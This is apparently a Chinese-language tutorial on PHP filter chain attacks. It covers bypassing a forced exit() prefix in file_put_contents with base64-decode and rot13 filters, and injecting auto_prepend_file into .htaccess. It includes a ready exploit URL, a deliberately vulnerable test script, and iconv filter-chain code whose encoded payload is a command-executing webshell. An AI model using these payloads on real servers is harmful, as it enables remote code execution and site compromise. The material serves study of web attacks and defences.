浅学Filterchain
字数 1333 2025-08-18 17:33:32

PHP Filter Chain 攻击技术深度解析

0x00 前言

Filter Chain(过滤器链)是PHP中一种强大的文件处理机制,通过组合不同的过滤器可以实现各种数据转换操作。本文将系统性地介绍Filter Chain在安全攻防中的应用,包括死亡杂糅绕过、iconv转换利用等技术要点。

0x01 前置知识

Base64编码与解码

Base64编码字符表

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

编码过程

  1. 将输入数据按3字节一组分割
  2. 每组拆分为4个6位单元
  3. 每个6位单元映射到Base64字符表
  4. 不足3字节时用=补齐

示例:

$data = "Delete";
echo base64_encode($data); // 输出: RGVsZXRl

$data = "Delet";
echo base64_encode($data); // 输出: RGVsZXQ=

解码特性

  • 以4个字符为一组进行解码
  • 仅对有效字符进行处理
  • =作为填充字符出现在末尾

0x02 死亡杂糅绕过技术

第一种情况:文件名和内容参数可控

攻击场景:

file_put_contents($filename, "<?php exit();".$content);

Base64绕过方法

Payload构造

$filename = 'php://filter/convert.base64-decode/resource=delete.php';
$content = 'aPD9waHAgcGhwaW5mbygpOw==';

原理

  1. 添加前缀字符a使有效负载长度对齐(4的倍数)
  2. Base64解码会忽略<?php exit();中的非Base64字符
  3. 解码后保留我们注入的有效负载

测试代码

<?php
$filename = $_GET['filename'];
$content = $_GET['content'];
file_put_contents($filename, "<?php exit();".$content);
?>

利用URL

http://127.0.0.1/2.php?filename=php://filter/convert.base64-decode/resource=delete.php&content=aPD9waHAgcGhwaW5mbygpOw==

rot13绕过方法

Payload构造

$filename = 'php://filter/string.rot13/resource=delete.php';
$content = '<?cuc cucvasb();?>';

原理

  • rot13将<?php exit();转换为不可执行形式
  • 我们的payload <?php phpinfo();?>转换为<?cuc cucvasb();?>
  • 注意短标签可能导致解析问题

第二种情况:共用变量

攻击场景:

file_put_contents($content, "<?php exit();".$content);

.htaccess预包含方法

Payload

$content = 'php://filter/write=string.strip_tags/?> php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess';

原理

  1. 使用string.strip_tags过滤器去除PHP标签
  2. 写入.htaccess文件设置自动包含
  3. %0a%23是换行符和注释符,确保后续内容不影响

Base64直接使用的问题

尝试直接使用Base64时遇到问题:

php://filter/write=convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php

问题分析

  • PHP的Base64解码在严格模式下会将=视为结束符
  • 相关PHP源码显示strict参数控制此行为

解决方案

  1. 使用过滤器嵌套:
php://filter/write=string.strip_tags|convert.base64-decode/resource=?PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
  1. 另类Base64方法:
php://filter/<?|string.strip_tags|convert.base64-decode/resource=?PD9waHAgcGhwaW5mbygpOz8%2B/../delete.php

第三种情况:尾部追加内容

攻击场景:

file_put_contents($filename, $content."\nxxxxxx");

解决方法

  1. 使用注释符//#注释掉追加内容
  2. 写入.htaccess文件进行预包含

0x03 iconv转换技术

iconv过滤器可用于字符集转换,结合Base64可实现复杂绕过。

典型利用代码

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    // 更多转换规则...
);

$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";

foreach(str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c]."|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump(file_get_contents($final_payload));
?>

原理

  1. 通过多次Base64编码解码和字符集转换
  2. 利用Base64的宽松解码特性
  3. 最终构造出可执行的PHP代码

工具推荐

0x04 php://temp和php://memory协议

特性

  • 都是类似文件包装器的数据流
  • php://memory始终使用内存
  • php://temp在超过限制(默认2MB)后使用临时文件
  • 可设置内存限制:php://temp/maxmemory:NN

示例

$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
fputs($fp, "hello\n");
rewind($fp);
echo stream_get_contents($fp);

注意

  • 这些流是一次性的,关闭后无法再次读取之前的内容
  • file_put_contents后直接读取会得到空内容

参考资源

  1. FilterChain攻击解析及利用 - Boogipop
  2. PHP过滤器链利用 - 阿里云先知社区
  3. PHP字符转换Fuzz工具
PHP Filter Chain 攻击技术深度解析 0x00 前言 Filter Chain(过滤器链)是PHP中一种强大的文件处理机制,通过组合不同的过滤器可以实现各种数据转换操作。本文将系统性地介绍Filter Chain在安全攻防中的应用,包括死亡杂糅绕过、iconv转换利用等技术要点。 0x01 前置知识 Base64编码与解码 Base64编码字符表 : 编码过程 : 将输入数据按3字节一组分割 每组拆分为4个6位单元 每个6位单元映射到Base64字符表 不足3字节时用 = 补齐 示例: 解码特性 : 以4个字符为一组进行解码 仅对有效字符进行处理 = 作为填充字符出现在末尾 0x02 死亡杂糅绕过技术 第一种情况:文件名和内容参数可控 攻击场景: Base64绕过方法 Payload构造 : 原理 : 添加前缀字符 a 使有效负载长度对齐(4的倍数) Base64解码会忽略 <?php exit(); 中的非Base64字符 解码后保留我们注入的有效负载 测试代码 : 利用URL : rot13绕过方法 Payload构造 : 原理 : rot13将 <?php exit(); 转换为不可执行形式 我们的payload <?php phpinfo();?> 转换为 <?cuc cucvasb();?> 注意短标签可能导致解析问题 第二种情况:共用变量 攻击场景: .htaccess预包含方法 Payload : 原理 : 使用 string.strip_tags 过滤器去除PHP标签 写入.htaccess文件设置自动包含 %0a%23 是换行符和注释符,确保后续内容不影响 Base64直接使用的问题 尝试直接使用Base64时遇到问题: 问题分析 : PHP的Base64解码在严格模式下会将 = 视为结束符 相关PHP源码显示 strict 参数控制此行为 解决方案 : 使用过滤器嵌套: 另类Base64方法: 第三种情况:尾部追加内容 攻击场景: 解决方法 : 使用注释符 // 或 # 注释掉追加内容 写入.htaccess文件进行预包含 0x03 iconv转换技术 iconv过滤器可用于字符集转换,结合Base64可实现复杂绕过。 典型利用代码 原理 : 通过多次Base64编码解码和字符集转换 利用Base64的宽松解码特性 最终构造出可执行的PHP代码 工具推荐 : PHP_ INCLUDE_ TO_ SHELL_ CHAR_ DICT - 用于fuzz有效转换组合 0x04 php://temp和php://memory协议 特性 : 都是类似文件包装器的数据流 php://memory始终使用内存 php://temp在超过限制(默认2MB)后使用临时文件 可设置内存限制: php://temp/maxmemory:NN 示例 : 注意 : 这些流是一次性的,关闭后无法再次读取之前的内容 file_ put_ contents后直接读取会得到空内容 参考资源 FilterChain攻击解析及利用 - Boogipop PHP过滤器链利用 - 阿里云先知社区 PHP字符转换Fuzz工具